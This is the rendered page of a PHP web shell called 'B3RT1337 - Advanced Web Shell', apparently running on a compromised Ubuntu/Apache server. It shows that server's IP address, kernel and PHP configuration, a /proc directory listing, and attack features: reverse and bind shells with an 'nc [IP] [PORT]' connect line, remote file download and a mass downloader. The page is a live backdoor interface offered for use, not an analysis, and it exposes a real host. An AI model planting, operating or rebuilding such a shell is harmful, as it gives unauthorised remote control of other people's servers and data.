B3RT1337 - ADVANCED WEB SHELL

 Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
 Apache/2.4.41 (Ubuntu)
 74.208.127.88
Name Type Size Owner/Group Permission Modified Actions
. dir - systemd-network/systemd-network 0555 2025-11-06 00:39
.. dir - root/root 0555 2024-10-31 01:06
attr dir - systemd-network/systemd-network 0555 2025-11-06 00:39
fd dir - systemd-network/systemd-network 0500 2025-11-06 00:39
fdinfo dir - systemd-network/systemd-network 0500 2025-11-06 00:39
map_files dir - systemd-network/systemd-network 0500 2025-11-06 00:39
net dir - systemd-network/systemd-network 0555 2025-11-06 00:39
ns dir - systemd-network/systemd-network 0511 2025-11-06 00:39
task dir - systemd-network/systemd-network 0555 2025-11-06 00:39
arch_status application/x-empty 0 B systemd-network/systemd-network 0444 2025-11-06 00:39
autogroup text/plain 0 B systemd-network/systemd-network 0644 2025-11-06 00:39
auxv 0 B systemd-network/systemd-network 0400 2025-11-06 00:39
cgroup text/plain 0 B systemd-network/systemd-network 0444 2025-11-06 00:39
clear_refs 0 B systemd-network/systemd-network 0200 2025-11-06 00:39
cmdline application/octet-stream 0 B systemd-network/systemd-network 0444 2025-11-06 00:39
comm text/plain 0 B systemd-network/systemd-network 0644 2025-11-06 00:39
coredump_filter text/plain 0 B systemd-network/systemd-network 0644 2025-11-06 00:39
cpuset text/plain 0 B systemd-network/systemd-network 0444 2025-11-06 00:39
environ 0 B systemd-network/systemd-network 0400 2025-11-06 00:39
gid_map text/plain 0 B systemd-network/systemd-network 0644 2025-11-06 00:39
io 0 B systemd-network/systemd-network 0400 2025-11-06 00:39
limits text/plain 0 B systemd-network/systemd-network 0444 2025-11-06 00:39
loginuid text/plain 0 B systemd-network/systemd-network 0644 2025-11-06 00:39
maps 0 B systemd-network/systemd-network 0444 2025-11-06 00:39
mem 0 B systemd-network/systemd-network 0600 2025-11-06 00:39
mountinfo text/plain 0 B systemd-network/systemd-network 0444 2025-11-06 00:39
mounts text/plain 0 B systemd-network/systemd-network 0444 2025-11-06 00:39
mountstats 0 B systemd-network/systemd-network 0400 2025-11-06 00:39
numa_maps 0 B systemd-network/systemd-network 0444 2025-11-06 00:39
oom_adj text/plain 0 B systemd-network/systemd-network 0644 2025-11-06 00:39
oom_score text/plain 0 B systemd-network/systemd-network 0444 2025-11-06 00:39
oom_score_adj text/plain 0 B systemd-network/systemd-network 0644 2025-11-06 00:39
pagemap 0 B systemd-network/systemd-network 0400 2025-11-06 00:39
patch_state 0 B systemd-network/systemd-network 0400 2025-11-06 00:39
personality 0 B systemd-network/systemd-network 0400 2025-11-06 00:39
projid_map text/plain 0 B systemd-network/systemd-network 0644 2025-11-06 00:39
sched text/plain 0 B systemd-network/systemd-network 0644 2025-11-06 00:39
schedstat text/plain 0 B systemd-network/systemd-network 0444 2025-11-06 00:39
sessionid text/plain 0 B systemd-network/systemd-network 0444 2025-11-06 00:39
setgroups text/plain 0 B systemd-network/systemd-network 0644 2025-11-06 00:39
smaps 0 B systemd-network/systemd-network 0444 2025-11-06 00:39
smaps_rollup 0 B systemd-network/systemd-network 0444 2025-11-06 00:39
stack 0 B systemd-network/systemd-network 0400 2025-11-06 00:39
stat text/plain 0 B systemd-network/systemd-network 0444 2025-11-06 00:39
statm text/plain 0 B systemd-network/systemd-network 0444 2025-11-06 00:39
status text/plain 0 B systemd-network/systemd-network 0444 2025-11-06 00:39
syscall 0 B systemd-network/systemd-network 0400 2025-11-06 00:39
timers application/x-empty 0 B systemd-network/systemd-network 0444 2025-11-06 00:39
timerslack_ns 0 B systemd-network/systemd-network 0666 2025-11-06 00:39
uid_map text/plain 0 B systemd-network/systemd-network 0644 2025-11-06 00:39
wchan application/octet-stream 0 B systemd-network/systemd-network 0444 2025-11-06 00:39
Database Connection
Reverse Shell
Bind Shell
After starting, connect with: nc [IP] [PORT]
Download from URL
Mass Downloader
System Information
Uname: Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64PHP Version: 7.4.3-4ubuntu2.29Server Software: Apache/2.4.41 (Ubuntu)Server Protocol: HTTP/1.1Server IP: 74.208.127.88Server Port: 443Current User: www-dataCurrent Directory: /proc/13768Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
PHP Configuration
allow_url_fopen: 1
allow_url_include: 
disable_functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
open_basedir: 
safe_mode: 
memory_limit: 128M
max_execution_time: 0
upload_max_filesize: 2M
post_max_size: 8M
Loaded Extensions
Core, date, libxml, openssl, pcre, zlib, filter, hash, Reflection, SPL, session, standard, sodium, apache2handler, mysqlnd, PDO, xml, bz2, calendar, ctype, curl, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, iconv, json, exif, mysqli, pdo_mysql, Phar, posix, readline, shmop, SimpleXML, soap, sockets, sysvmsg, sysvsem, sysvshm, tokenizer, xmlreader, xmlwriter, xsl, zip, Zend OPcache
© B3RT1337 | Advanced Web Shell - 2025